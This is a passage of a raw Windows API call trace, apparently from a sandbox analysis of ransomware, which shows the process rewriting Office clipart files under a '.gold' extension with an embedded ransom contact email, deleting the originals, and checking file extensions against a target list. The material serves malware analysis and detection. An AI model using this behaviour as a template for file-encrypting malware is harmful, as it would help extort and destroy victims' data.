Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.754] GetLastError () returned 0x0 [0101.754] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x4cc8, lpOverlapped=0x0) returned 1 [0101.756] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x4cd0, lpOverlapped=0x0) returned 1 [0101.757] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.757] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.757] SetEndOfFile (hFile=0x3b4) returned 1 [0101.757] CloseHandle (hObject=0x3b4) returned 1 [0101.758] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.758] SetEndOfFile (hFile=0x38c) returned 1 [0101.760] CloseHandle (hObject=0x38c) returned 1 [0101.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0101.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.761] lstrlenW (lpString=".doc") returned 4 [0101.761] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.761] lstrlenW (lpString=".docx") returned 5 [0101.761] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0101.761] lstrlenW (lpString=".pdf") returned 4 [0101.761] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.761] lstrlenW (lpString=".xls") returned 4 [0101.761] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.761] lstrlenW (lpString=".xlsx") returned 5 [0101.761] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0101.761] lstrlenW (lpString=".ppt") returned 4 [0101.761] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.761] lstrlenW (lpString=".zip") returned 4 [0101.761] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.761] lstrlenW (lpString=".rar") returned 4 [0101.761] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.761] lstrlenW (lpString=".bz2") returned 4 [0101.761] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.761] lstrlenW (lpString=".7z") returned 3 [0101.761] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.761] lstrlenW (lpString=".dbf") returned 4 [0101.761] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.762] lstrlenW (lpString=".1cd") returned 4 [0101.762] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.762] lstrlenW (lpString=".jpg") returned 4 [0101.762] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.762] lstrlenW (lpString=".doc") returned 4 [0101.762] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0101.762] lstrlenW (lpString=".docx") returned 5 [0101.762] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0101.762] lstrlenW (lpString=".pdf") returned 4 [0101.762] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0101.762] lstrlenW (lpString=".xls") returned 4 [0101.762] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0101.762] lstrlenW (lpString=".xlsx") returned 5 [0101.762] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0101.762] lstrlenW (lpString=".ppt") returned 4 [0101.762] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0101.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.762] lstrlenW (lpString=".zip") returned 4 [0101.762] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0101.762] lstrlenW (lpString=".rar") returned 4 [0101.762] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0101.762] lstrlenW (lpString=".bz2") returned 4 [0101.762] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0101.762] lstrlenW (lpString=".7z") returned 3 [0101.762] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0101.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.762] lstrlenW (lpString=".dbf") returned 4 [0101.762] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0101.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.762] lstrlenW (lpString=".1cd") returned 4 [0101.762] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0101.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0101.762] lstrlenW (lpString=".jpg") returned 4 [0101.762] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0101.762] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.762] lstrlenW (lpString="J0099163.WMF") returned 12 [0101.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.763] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=22356) returned 1 [0101.763] CloseHandle (hObject=0x38c) returned 1 [0101.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20 [0101.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0101.763] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.763] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0101.764] GetLastError () returned 0x0 [0101.764] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5754, lpOverlapped=0x0) returned 1 [0101.935] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x5760, lpOverlapped=0x0) returned 1 [0101.936] ReadFile (in: hFile=0x38c, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0101.936] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0101.936] SetEndOfFile (hFile=0x3b4) returned 1 [0101.936] CloseHandle (hObject=0x3b4) returned 1 [0101.936] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.936] SetEndOfFile (hFile=0x38c) returned 1 [0101.938] CloseHandle (hObject=0x38c) returned 1 [0101.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0101.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 1 [0101.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.997] lstrlenW (lpString=".doc") returned 4 [0101.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.997] lstrlenW (lpString=".docx") returned 5 [0101.997] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0101.997] lstrlenW (lpString=".pdf") returned 4 [0101.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.997] lstrlenW (lpString=".xls") returned 4 [0101.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.997] lstrlenW (lpString=".xlsx") returned 5 [0101.997] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0101.997] lstrlenW (lpString=".ppt") returned 4 [0101.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.997] lstrlenW (lpString=".zip") returned 4 [0101.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.997] lstrlenW (lpString=".rar") returned 4 [0101.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.997] lstrlenW (lpString=".bz2") returned 4 [0101.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.997] lstrlenW (lpString=".7z") returned 3 [0101.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.997] lstrlenW (lpString=".dbf") returned 4 [0101.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.997] lstrlenW (lpString=".1cd") returned 4 [0101.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.997] lstrlenW (lpString=".jpg") returned 4 [0101.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.998] lstrlenW (lpString=".doc") returned 4 [0101.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0101.998] lstrlenW (lpString=".docx") returned 5 [0101.998] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0101.998] lstrlenW (lpString=".pdf") returned 4 [0101.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0101.998] lstrlenW (lpString=".xls") returned 4 [0101.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0101.998] lstrlenW (lpString=".xlsx") returned 5 [0101.998] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0101.998] lstrlenW (lpString=".ppt") returned 4 [0101.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0101.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.998] lstrlenW (lpString=".zip") returned 4 [0101.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0101.998] lstrlenW (lpString=".rar") returned 4 [0101.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0101.998] lstrlenW (lpString=".bz2") returned 4 [0101.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0101.998] lstrlenW (lpString=".7z") returned 3 [0101.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0101.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.998] lstrlenW (lpString=".dbf") returned 4 [0101.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0101.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.998] lstrlenW (lpString=".1cd") returned 4 [0101.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0101.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF") returned 63 [0101.998] lstrlenW (lpString=".jpg") returned 4 [0101.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0101.998] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0101.998] lstrlenW (lpString="J0099171.WMF") returned 12 [0101.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.999] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=8754) returned 1 [0101.999] CloseHandle (hObject=0x3b8) returned 1 [0101.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 0x20 [0101.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0101.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0101.999] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.999] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0101.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0102.000] GetLastError () returned 0x0 [0102.000] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x2232, lpOverlapped=0x0) returned 1 [0102.022] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2240, lpOverlapped=0x0) returned 1 [0102.022] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.022] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0102.023] SetEndOfFile (hFile=0x3ac) returned 1 [0102.023] CloseHandle (hObject=0x3ac) returned 1 [0102.023] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.023] SetEndOfFile (hFile=0x3b8) returned 1 [0102.024] CloseHandle (hObject=0x3b8) returned 1 [0102.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.094] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf")) returned 1 [0102.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.095] lstrlenW (lpString=".doc") returned 4 [0102.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.095] lstrlenW (lpString=".docx") returned 5 [0102.095] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0102.095] lstrlenW (lpString=".pdf") returned 4 [0102.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.095] lstrlenW (lpString=".xls") returned 4 [0102.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.095] lstrlenW (lpString=".xlsx") returned 5 [0102.095] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0102.095] lstrlenW (lpString=".ppt") returned 4 [0102.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.095] lstrlenW (lpString=".zip") returned 4 [0102.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.095] lstrlenW (lpString=".rar") returned 4 [0102.095] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.095] lstrlenW (lpString=".bz2") returned 4 [0102.095] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.095] lstrlenW (lpString=".7z") returned 3 [0102.095] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.095] lstrlenW (lpString=".dbf") returned 4 [0102.095] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.095] lstrlenW (lpString=".1cd") returned 4 [0102.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.096] lstrlenW (lpString=".jpg") returned 4 [0102.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.096] lstrlenW (lpString=".doc") returned 4 [0102.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0102.096] lstrlenW (lpString=".docx") returned 5 [0102.096] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0102.096] lstrlenW (lpString=".pdf") returned 4 [0102.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0102.096] lstrlenW (lpString=".xls") returned 4 [0102.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0102.096] lstrlenW (lpString=".xlsx") returned 5 [0102.096] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0102.096] lstrlenW (lpString=".ppt") returned 4 [0102.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0102.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.096] lstrlenW (lpString=".zip") returned 4 [0102.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0102.096] lstrlenW (lpString=".rar") returned 4 [0102.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0102.096] lstrlenW (lpString=".bz2") returned 4 [0102.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0102.096] lstrlenW (lpString=".7z") returned 3 [0102.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0102.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.097] lstrlenW (lpString=".dbf") returned 4 [0102.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0102.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.097] lstrlenW (lpString=".1cd") returned 4 [0102.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0102.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF") returned 63 [0102.097] lstrlenW (lpString=".jpg") returned 4 [0102.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0102.097] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0102.097] lstrlenW (lpString="J0099178.WMF") returned 12 [0102.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0102.136] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3606) returned 1 [0102.136] CloseHandle (hObject=0x3b4) returned 1 [0102.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20 [0102.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0102.307] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.307] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0102.307] GetLastError () returned 0x0 [0102.307] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xe16, lpOverlapped=0x0) returned 1 [0102.346] WriteFile (in: hFile=0x3c0, 